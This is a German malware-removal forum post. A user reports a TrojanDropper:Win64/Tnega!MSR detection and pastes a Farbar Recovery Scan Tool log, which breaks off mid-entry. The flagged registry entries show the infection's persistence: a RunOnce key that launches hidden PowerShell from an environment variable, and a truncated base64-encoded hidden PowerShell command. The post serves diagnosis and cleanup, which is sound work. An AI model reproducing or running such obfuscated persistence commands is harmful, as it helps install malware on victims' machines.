|
Log-Analyse und Auswertung: Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter VersuchWindows 7 Wenn Du Dir einen Trojaner eingefangen hast oder ständig Viren Warnungen bekommst, kannst Du hier die Logs unserer Diagnose Tools zwecks Auswertung durch unsere Experten posten. Um Viren und Trojaner entfernen zu können, muss das infizierte System zuerst untersucht werden: Erste Schritte zur Hilfe. Beachte dass ein infiziertes System nicht vertrauenswürdig ist und bis zur vollständigen Entfernung der Malware nicht verwendet werden sollte.XML. |
09.02.2021, 21:10 | #1 |
| Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch Ich hatte eben schon einen Post erstellt, dort aber versehentlich eine falsche Logdatei eingefügt, welche scheinbar noch in meiner Zwischenablage war. (vermutlich durch Recherche, ich weiß es leider nicht) Leider wurde der Beitrag direkt gesperrt, so dass ich keine Möglichkeit hatte, dort die korrekten Logfiles zu hinterlegen und mich zu erklären. Ich hoffe deswegen, es ist okay, einen erneuten Beitrag zu eröffnen, in der Hoffnung, dass mir geholfen werden kann. Folgendes zeigt Windows Defender seit ca. 2 Wochen an, gemerkt habe ich es aber erst heute: TrojanDropper:Win64/Tnega!MSR Ich vermute, ich habe mir den Trojaner beim Online-Banking eingefangen, da sich dort einmal Seiten im Hintergrund geöffnet haben, was vorher noch nicht passiert ist. Mein Laptop macht eigentlich (noch) keine Probleme, bis auf dass er etwas langsamer ist. Ich hoffe, dass mir jemand trotz meines Fehlers im alten Post, helfen kann, den Trojaner zu entfernen. Hier die FRST logdatei Code:
ATTFilter Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 08-02-2021 01 durchgeführt von jessi (Administrator) auf DESKTOP-3CDKKUQ (ASUSTeK COMPUTER INC. VivoBook_ASUSLaptop TP412FA_TP412FA) (09-02-2021 20:56:57) Gestartet von C:\Users\jessi\Downloads Geladene Profile: jessi Platform: Windows 10 Home Version 1909 18363.1316 (X64) Sprache: Deutsch (Deutschland) Standard-Browser: Vivaldi Start-Modus: Normal ==================== Prozesse (Nicht auf der Ausnahmeliste) ================= (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.) (Adobe Inc. -> Adobe Inc.) C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkRemote\AsusLinkRemote.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSoftwareManager\AsusSoftwareManagerAgent.exe (ASUSTek Computer Inc. -> ASUSTek Computer Inc.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkNear\AsusLinkNear.exe (ASUSTek Computer Inc. -> ASUSTek Computer Inc.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkNear\AsusLinkNearExt.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSOptimization\AsusOptimization.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSOptimization\AsusOptimizationStartupTask.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSOptimization\AsusOSD.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSoftwareManager\AsusSoftwareManager.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSystemAnalysis\AsusSystemAnalysis.exe (ELAN Microelectronics Corporation -> ELAN Microelectronics Corp.) C:\Windows\System32\ELANFPService.exe (Google LLC -> Google LLC) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe <19> (Hewlett Packard -> Hewlett-Packard Co.) C:\Program Files\HP\HP Deskjet 3520 series\Bin\HPNetworkCommunicator.exe (Hewlett Packard -> Hewlett-Packard Co.) C:\Program Files\HP\HP Deskjet 3520 series\Bin\ScanToPCActivationApp.exe (Hewlett-Packard Company -> Hewlett-Packard) C:\Program Files (x86)\HP\HP Software Update\hpwuschd2.exe (ICEpower a/s -> ICEpower A/S) C:\Windows\System32\DriverStore\FileRepository\icesoundapo64.inf_amd64_0b0a16910a811637\ICEsoundService64.exe (INTEL CORP) C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.3282.0_x64__8j3eq9eme6ctt\GCP.ML.BackgroundSysTray\IGCCTray.exe (INTEL CORP) C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.3282.0_x64__8j3eq9eme6ctt\IGCC.exe (Intel Corporation -> Intel Corporation) C:\Windows\System32\Intel\DPTF\esif_uf.exe (Intel(R) Embedded Subsystems and IP Blocks Group -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\dal.inf_amd64_ffc75848a6342fdf\jhi_service.exe (Intel(R) pGFX 2020 -> ) C:\Windows\System32\DriverStore\FileRepository\igcc_dch.inf_amd64_5b19dfe7970a7139\OneApp.IGCC.WinService.exe (Intel(R) pGFX 2020 -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\cui_dch.inf_amd64_cb5b3ac4d6a4f65a\igfxCUIService.exe (Intel(R) pGFX 2020 -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\cui_dch.inf_amd64_cb5b3ac4d6a4f65a\igfxEM.exe (Intel(R) pGFX 2020 -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\iigd_dch.inf_amd64_504a966d4dd1fcbb\IntelCpHDCPSvc.exe (Intel(R) pGFX 2020 -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\iigd_dch.inf_amd64_504a966d4dd1fcbb\IntelCpHeciSvc.exe (Intel(R) Wireless Connectivity Solutions -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\piecomponent.inf_amd64_7fd3c1076ca83746\Intel_PIE_Service.exe (Intel(R) Wireless Connectivity Solutions -> Intel Corporation) C:\Windows\System32\ibtsiva.exe (Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe (Microsoft Windows -> Microsoft Corporation) C:\Windows\ImmersiveControlPanel\SystemSettings.exe (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\dllhost.exe <2> (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\SecurityHealthHost.exe <2> (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\wlanext.exe (Microsoft Windows -> Microsoft Corporation) C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe (Microsoft Windows Hardware Compatibility Publisher -> ASUSTek COMPUTER INC.) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2011.6-0\MsMpEng.exe (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2011.6-0\NisSrv.exe (Realtek Semiconductor Corp. -> Realtek Semiconductor) C:\Windows\System32\RtkAudUService64.exe <2> (Smart Sound Technology -> Intel) C:\Windows\System32\cAVS\Intel(R) Audio Service\IntelAudioService.exe (Vivaldi Technologies AS -> Vivaldi Technologies AS) C:\Users\jessi\AppData\Local\Vivaldi\Application\update_notifier.exe ==================== Registry (Nicht auf der Ausnahmeliste) =================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.) HKLM-x32\...\Run: [TeamsMachineInstaller] => C:\Program Files (x86)\Teams Installer\Teams.exe [97703592 2020-02-13] (Microsoft Corporation -> Microsoft Corporation) HKLM-x32\...\Run: [HP Software Update] => C:\Program Files (x86)\Hp\HP Software Update\HPWuSchd2.exe [96056 2013-05-30] (Hewlett-Packard Company -> Hewlett-Packard) HKLM-x32\...\Run: [] => [X] HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [Spotify] => C:\Users\jessi\AppData\Roaming\Spotify\Spotify.exe [23722056 2021-02-08] (Spotify AB -> Spotify Ltd) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [com.squirrel.Teams.Teams] => C:\Users\jessi\AppData\Local\Microsoft\Teams\Update.exe [2350776 2020-06-12] (Microsoft 3rd Party Application Component -> Microsoft Corporation) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [CiscoMeetingDaemon] => C:\Users\jessi\AppData\Local\WebEx\ciscowebexstart.exe [2427592 2021-01-29] (Cisco WebEx LLC -> Cisco Webex LLC) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [DeepL] => C:\Users\jessi\AppData\Local\DeepL\app-1.17.1\DeepL.exe [207984 2021-01-04] (DeepL GmbH -> DeepL GmbH) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [Lync] => C:\Program Files\Microsoft Office\root\Office16\lync.exe [26329408 2021-01-18] (Microsoft Corporation -> Microsoft Corporation) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [Skype for Desktop] => C:\Program Files (x86)\Microsoft\Skype for Desktop\Skype.exe [90952568 2020-10-29] (Skype Software Sarl -> Skype Technologies S.A.) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [CCleaner Smart Cleaning] => C:\Program Files\CCleaner\CCleaner64.exe [32414392 2020-12-08] (Piriform Software Ltd -> Piriform Software Ltd) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [Vivaldi Update Notifier] => C:\Users\jessi\AppData\Local\Vivaldi\Application\update_notifier.exe [1926896 2020-12-11] (Vivaldi Technologies AS -> Vivaldi Technologies AS) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Run: [HP Deskjet 3520 series (NET)] => C:\Program Files\HP\HP Deskjet 3520 series\Bin\ScanToPCActivationApp.exe [2573416 2012-10-17] (Hewlett Packard -> Hewlett-Packard Co.) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\RunOnce: [Application Restart #0] => C:\Program Files\Common Files\microsoft shared\ink\InputPersonalization.exe [373248 2021-01-15] (Microsoft Windows -> Microsoft Corporation) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\RunOnce: [jessi] => powershell -Win Hi -Command "$r = [Environment]::GetEnvironmentVariable('jessi', 'User').split();$p=$r[0];$r[0]='';Start-Process $p -ArgumentList ($r -join ' ') -Win Hi" <==== ACHTUNG HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Policies\Explorer: [NoChangeStartMenu] 0 HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Policies\Explorer: [NoLogOff] 0 HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\Environment: [jessi] "powershell.exe" -windowstyle hidden -En "PAAjACAAegB0AGwAagBiAHQAYgBjAGcAbwB2ACAAIwA+ACQAdQA9ACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAANwAwADAAOwAkAGkAK (Der Dateneintrag hat 1245 mehr Zeichen). <==== ACHTUNG RegKey: [HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\Software\jessi] <==== ACHTUNG RegKey: [HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\Software\jessi1] <==== ACHTUNG HKLM\...\Print\Monitors\HP B011 Status Monitor: C:\Windows\system32\hpinkstsB011LM.dll [331664 2012-06-13] (Hewlett Packard -> Hewlett-Packard Co.) HKLM\...\Print\Monitors\HP Discovery Port Monitor (HP Deskjet 3520 series): C:\Windows\system32\HPDiscoPMB011.dll [741480 2012-10-17] (Hewlett Packard -> Hewlett-Packard Co.) HKLM\Software\Microsoft\Active Setup\Installed Components: [{8A69D345-D564-463c-AFF1-A69D9E530F96}] -> C:\Program Files (x86)\Google\Chrome\Application\88.0.4324.150\Installer\chrmstp.exe [2021-02-08] (Google LLC -> Google LLC) ==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) ============ (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) Task: {0387E036-67B7-4321-A777-9B6E2F4B30E7} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentLogOn2016 => C:\Program Files\Microsoft Office\root\Office16\msoia.exe [5057960 2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Task: {20EACC42-671D-4492-AD54-A095FDEC799F} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance => C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MpCmdRun.exe [545704 2020-12-04] (Microsoft Windows Publisher -> Microsoft Corporation) Task: {214EACDC-FBD7-4E71-BE17-AE1B3AE7EF42} - System32\Tasks\CCleaner Update => C:\Program Files\CCleaner\CCUpdate.exe [686384 2020-12-08] (Piriform Software Ltd -> Piriform Software Ltd) Task: {3B7CF29F-D02C-4CCE-A157-B2E29B4E9972} - System32\Tasks\Microsoft\Office\Office Subscription Maintenance => C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\Office16\OLicenseHeartbeat.exe [1683352 2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Task: {5CBF6F21-6ED3-4C9A-8BCB-66D30AA465FB} - System32\Tasks\Microsoft\Windows\PLA\074C0539-0999-4DA9-9D0D-3D016B62F4E9 => {FF679DA1-8FF2-4474-9C9E-52BBD409B557} C:\Windows\system32\pla.dll [1507328 2020-05-14] (Microsoft Windows -> Microsoft Corporation) Task: {6E97E029-8B30-4AEF-9132-99979DC16F54} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan => C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MpCmdRun.exe [545704 2020-12-04] (Microsoft Windows Publisher -> Microsoft Corporation) Task: {76834983-71F1-47DA-A3D1-59B8C8C4EB22} - System32\Tasks\ASUS Optimization 36D18D69AFC3 => C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSOptimization\AsusHotkeyExec.exe [226232 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) Task: {7CA3D74C-9E5A-41FF-95CD-4301992EA0E5} - System32\Tasks\Microsoft\Windows\PLA\AsusLinkNear => {FF679DA1-8FF2-4474-9C9E-52BBD409B557} C:\Windows\system32\pla.dll [1507328 2020-05-14] (Microsoft Windows -> Microsoft Corporation) Task: {7CA82A1A-3CB4-4B39-A669-C6DED839F7EF} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [22763912 2021-01-10] (Microsoft Corporation -> Microsoft Corporation) Task: {8073D2EA-F1A6-45BA-91BF-D4F85127D10C} - System32\Tasks\CCleanerSkipUAC => C:\Program Files\CCleaner\CCleaner.exe [26896568 2020-12-08] (Piriform Software Ltd -> Piriform Software Ltd) Task: {825CCD1A-3FFE-4B80-B9E4-03AF13023C09} - System32\Tasks\ASUS Update Checker 2.0 => C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSoftwareManager\AsusUpdateChecker.exe [693192 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) Task: {86EC9209-C7A4-40AA-9582-DCDD80BFAC9E} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [156104 2020-05-08] (Google LLC -> Google LLC) Task: {916EFA5B-ED44-4A1D-AD33-3B43899072E6} - System32\Tasks\Microsoft\Office\Office Automatic Updates 2.0 => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [22763912 2021-01-10] (Microsoft Corporation -> Microsoft Corporation) Task: {979D0097-EFBF-43A3-AF23-371ED5FB7D2A} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [156104 2020-05-08] (Google LLC -> Google LLC) Task: {9F60BA04-2A3C-472D-AC46-98D746087ADF} - System32\Tasks\RtkAudUService64_BG => C:\Windows\System32\RtkAudUService64.exe [874000 2019-05-02] (Realtek Semiconductor Corp. -> Realtek Semiconductor) Task: {A5C2D8A0-523A-4C0F-AFE9-E35431770F07} - System32\Tasks\AsusSystemAnalysis_754F3273-0563-4F20-B12F-826510B07474 => C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSystemAnalysis\AsusSystemAnalysis.exe [2166712 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) Task: {AA4B9798-70F0-45D2-B0C0-56F6520E7773} - System32\Tasks\Adobe Flash Player PPAPI Notifier => C:\Windows\SysWOW64\Macromed\Flash\FlashUtil32_32_0_0_321_pepper.exe [1453624 2020-07-21] (Adobe Inc. -> Adobe) Task: {AD9C3170-7633-41D5-8907-89FF15231647} - System32\Tasks\Microsoft\Office\Office Feature Updates => C:\Program Files\Microsoft Office\root\Office16\sdxhelper.exe [145768 2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Task: {BD9964E2-7450-461E-A315-772782DDAC44} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentFallBack2016 => C:\Program Files\Microsoft Office\root\Office16\msoia.exe [5057960 2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Task: {D6C4A7C8-D6A6-4133-8049-DBB114E75AF4} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cleanup => C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MpCmdRun.exe [545704 2020-12-04] (Microsoft Windows Publisher -> Microsoft Corporation) Task: {DC4A17CF-FFFA-418C-9475-ABA76593EBF7} - System32\Tasks\Mozilla\Firefox Default Browser Agent 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\default-browser-agent.exe [693456 2020-12-17] (Mozilla Corporation -> Mozilla Foundation) Task: {E71FE5DE-681A-4115-B63B-03CF67C9273A} - System32\Tasks\Microsoft\Office\Office Feature Updates Logon => C:\Program Files\Microsoft Office\root\Office16\sdxhelper.exe [145768 2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Task: {EC00DBA8-8F38-430D-B30A-C0336EDCEF2C} - System32\Tasks\Adobe Acrobat Update Task => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1349200 2020-11-03] (Adobe Inc. -> Adobe Inc.) Task: {F535DB53-07B2-4286-89A6-54A957CF80E6} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [335416 2020-07-21] (Adobe Inc. -> Adobe) Task: {F5CF6DFC-6FBB-45C5-A79A-D6E155F2C4AC} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Verification => C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MpCmdRun.exe [545704 2020-12-04] (Microsoft Windows Publisher -> Microsoft Corporation) (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.) ==================== Internet (Nicht auf der Ausnahmeliste) ==================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.) Tcpip\Parameters: [DhcpNameServer] 192.168.178.1 Tcpip\..\Interfaces\{36fa512b-0e80-47ee-8bf3-671d32f88265}: [DhcpNameServer] 192.168.178.1 Edge: ======= Edge DefaultProfile: Default Edge Profile: C:\Users\jessi\AppData\Local\Microsoft\Edge\User Data\Default [2021-01-30] Edge Extension: (Citavi Picker) - C:\Users\jessi\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\mielbhbkcliienpdicphhecpodcaeefg [2021-01-30] Edge HKLM-x32\...\Edge\Extension: [mielbhbkcliienpdicphhecpodcaeefg] FireFox: ======== FF DefaultProfile: 9p04y50u.default FF ProfilePath: C:\Users\jessi\AppData\Roaming\Mozilla\Firefox\Profiles\9p04y50u.default [2020-06-30] FF ProfilePath: C:\Users\jessi\AppData\Roaming\Mozilla\Firefox\Profiles\20m5regx.default-release [2020-12-18] FF Plugin: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files\Microsoft Office\root\Office16\NPSPWRAP.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\NPSPWRAP.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\nppdf32.dll [2020-12-07] (Adobe Inc. -> Adobe Systems Inc.) Chrome: ======= CHR Profile: C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default [2021-02-09] CHR NewTab: Default -> Not-active:"chrome-extension://eedlgdlajadkbbjoobobefphmfkcchfk/newtab.html" CHR DefaultSearchURL: Default -> hxxps://www.ecosia.org/search?q={searchTerms}&addon=chrome&addonversion=3.3.0&method=topbar CHR DefaultSearchKeyword: Default -> ecosia CHR DefaultSuggestURL: Default -> hxxps://ac.ecosia.org/?q={searchTerms}&type=list&mkt=de CHR Extension: (Präsentationen) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2020-05-08] CHR Extension: (Docs) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2020-05-08] CHR Extension: (Google Drive) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2020-10-24] CHR Extension: (YouTube) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2020-05-08] CHR Extension: (Laser Cat) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\ccnpdidcjgcdgaopacccfghmgdlipnoc [2020-12-31] CHR Extension: (Adblock Plus - kostenloser Adblocker) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\cfhdojbkjhnklbpkdaibdccddilifddb [2021-01-29] CHR Extension: (uBlock Origin) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\cjpalhdlnbpafiamejdnhcphjbkeiagm [2021-02-08] CHR Extension: (Ecosia Search) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\eedlgdlajadkbbjoobobefphmfkcchfk [2020-10-16] CHR Extension: (Tabellen) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2020-05-08] CHR Extension: (The Trumpweb) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\fjkehfaokpmcbigmbgdhmjblecgfkedg [2020-10-12] CHR Extension: (Deaktivierungs-Add-on von Google Analytics) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\fllaojicojecljbmefodhfapmkghcbnh [2020-05-17] CHR Extension: (Google Docs Offline) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2020-11-18] CHR Extension: (AdBlock*– der beste Ad-Blocker) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\gighmmpiobklfepjocnamgkkbiglidom [2021-01-15] CHR Extension: (Chrome Web Store-Zahlungen) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2021-01-29] CHR Extension: (Google Mail) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2020-10-22] CHR Extension: (Chrome Media Router) - C:\Users\jessi\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2021-01-20] CHR Profile: C:\Users\jessi\AppData\Local\Google\Chrome\User Data\System Profile [2021-01-29] Vivaldi: ======= VIV Profile: C:\Users\jessi\AppData\Local\Vivaldi\User Data\Default [2021-02-09] VIV HomePage: Default -> vivaldi://startpage ==================== Dienste (Nicht auf der Ausnahmeliste) =================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) R2 AdobeARMservice; C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe [170056 2020-11-03] (Adobe Inc. -> Adobe Inc.) S3 AdobeFlashPlayerUpdateSvc; C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [335416 2020-07-21] (Adobe Inc. -> Adobe) R2 ASUSLinkNear; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkNear\AsusLinkNear.exe [1085880 2020-12-09] (ASUSTek Computer Inc. -> ASUSTek Computer Inc.) R2 ASUSLinkNearExt; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkNear\AsusLinkNearExt.exe [142280 2020-12-09] (ASUSTek Computer Inc. -> ASUSTek Computer Inc.) R2 ASUSLinkRemote; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkRemote\AsusLinkRemote.exe [790968 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) R2 ASUSOptimization; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSOptimization\AsusOptimization.exe [311224 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) R2 ASUSSoftwareManager; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSoftwareManager\AsusSoftwareManager.exe [797128 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) R2 ASUSSystemAnalysis; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSystemAnalysis\AsusSystemAnalysis.exe [2166712 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) R2 ASUSSystemDiagnosis; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe [600488 2020-12-09] (Microsoft Windows Hardware Compatibility Publisher -> ASUSTek COMPUTER INC.) R2 ClickToRunSvc; C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe [8854920 2021-01-10] (Microsoft Corporation -> Microsoft Corporation) R3 WdNisSvc; C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\NisSrv.exe [2491880 2020-12-04] (Microsoft Windows Publisher -> Microsoft Corporation) R2 WinDefend; C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MsMpEng.exe [128376 2020-12-04] (Microsoft Windows Publisher -> Microsoft Corporation) ===================== Treiber (Nicht auf der Ausnahmeliste) =================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) S3 aftap0901; C:\Windows\System32\drivers\aftap0901.sys [48624 2017-11-16] (AnchorFree Inc -> The OpenVPN Project) S3 AppleLowerFilter; C:\Windows\System32\drivers\AppleLowerFilter.sys [35560 2018-05-10] (WDKTestCert build,131474841775766162 -> Apple Inc.) R3 AsusPTPDrv; C:\Windows\System32\drivers\AsusPTPFilter.sys [112336 2019-10-02] (ASUSTek Computer Inc. -> ASUSTek COMPUTER INC.) R1 ASUSSAIO; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSSystemAnalysis\ASUSSAIO.sys [36792 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) R1 ATKWMIACPIIO; C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSOptimization\atkwmiacpi64.sys [44712 2020-12-09] (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) R3 MpKsl11bc2bad; C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{25C628BE-9658-4FE2-A2FE-4BF63B8718DF}\MpKslDrv.sys [47344 2021-02-09] (Microsoft Windows -> Microsoft Corporation) S0 WdBoot; 